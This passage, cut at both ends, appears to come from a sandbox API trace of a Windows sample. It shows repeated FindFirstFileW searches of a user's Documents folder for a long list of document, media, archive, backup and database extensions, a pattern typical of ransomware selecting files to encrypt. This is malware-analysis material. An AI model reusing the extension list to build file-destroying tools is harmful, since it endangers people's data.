returned 0xffffffffffffffff [0110.628] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.asp", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.628] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.java", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.629] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.pkg", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.629] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.class", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.629] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.mp3", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.629] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.wav", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.629] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.swf", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.630] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.fla", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.630] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.wmv", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.630] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.mpg", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.630] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.vob", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.630] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.mpeg", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.631] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.asf", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.631] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.avi", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.631] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.mov", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.631] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.mp4", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.632] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.mkv", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.632] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.flv", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.632] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.wma", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.632] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.mid", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.632] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.m3u", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.633] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.m4u", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.633] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.svg", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.633] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.psd", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.633] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.tiff", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.633] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.tif", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.634] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.raw", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.634] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.gif", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.634] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.png", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.634] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.bmp", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.634] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.jpg", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.635] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.jpeg", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.635] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.iso", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.635] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.backup", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.635] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.zip", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.635] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.rar", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.636] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.tgz", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.636] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.tar", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.636] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.bak", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.636] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.ARC", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.636] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.vmdk", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.637] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.vdi", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.637] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.sldm", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.637] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.sldx", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.637] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.sti", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.637] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.sxi", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.638] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.dwg", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.638] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.pdf", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.638] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.wk1", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.638] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.wks", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.638] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.rtf", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.639] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.csv", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.639] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.txt", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.639] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.msg", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.639] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.pst", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.639] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.ppsx", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.640] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.ppsm", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.640] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.pps", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.640] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.pot", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.640] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.pptm", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.640] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.pptx", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.641] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.ppt", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.641] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.Zhon", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.641] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.xltm", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.641] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.xltx", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.641] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.xlc", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.642] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.xlm", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.642] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.xlt", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.642] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.xlw", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.642] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.xlsb", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.642] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.xlsm", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.643] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.xlsx", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.643] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.xls", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.643] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.dotm", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.643] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.dot", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.643] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.docm", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.644] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.docx", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.644] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.doc", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.644] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.ndf", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.644] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.pdf", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.644] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.ib", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.645] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.ibk", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.645] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.mo", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.645] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.strings", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.645] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.nib", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.645] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.sh", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.646] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.log", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.646] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.swidtag", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.646] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.grd", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.646] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.sig", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.646] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.spm", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.647] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.cat", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.647] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.tlb", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.647] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.sres", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.647] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.hiv", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.647] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.resources", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.648] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.3da", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.648] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.3ws", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.648] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.chm", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.648] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.3tf", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.648] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.glf", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.649] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.sqlite", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.649] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.version", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.649] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.manifest", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.649] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.config", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.649] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.gst", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.650] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.ind", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.650] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.id", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.650] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.map", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.650] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.prj", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.650] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.lic", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.651] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.prm", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.651] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.rss", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.651] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.sbo", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.651] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.cod", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.651] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.setup", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.652] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.glf", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.652] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.netmodule", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.652] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.vib", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.652] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.tib", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.652] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.$$$", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.653] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.$DB", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.653] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.001", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.653] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.001", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.653] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.002", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.653] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS 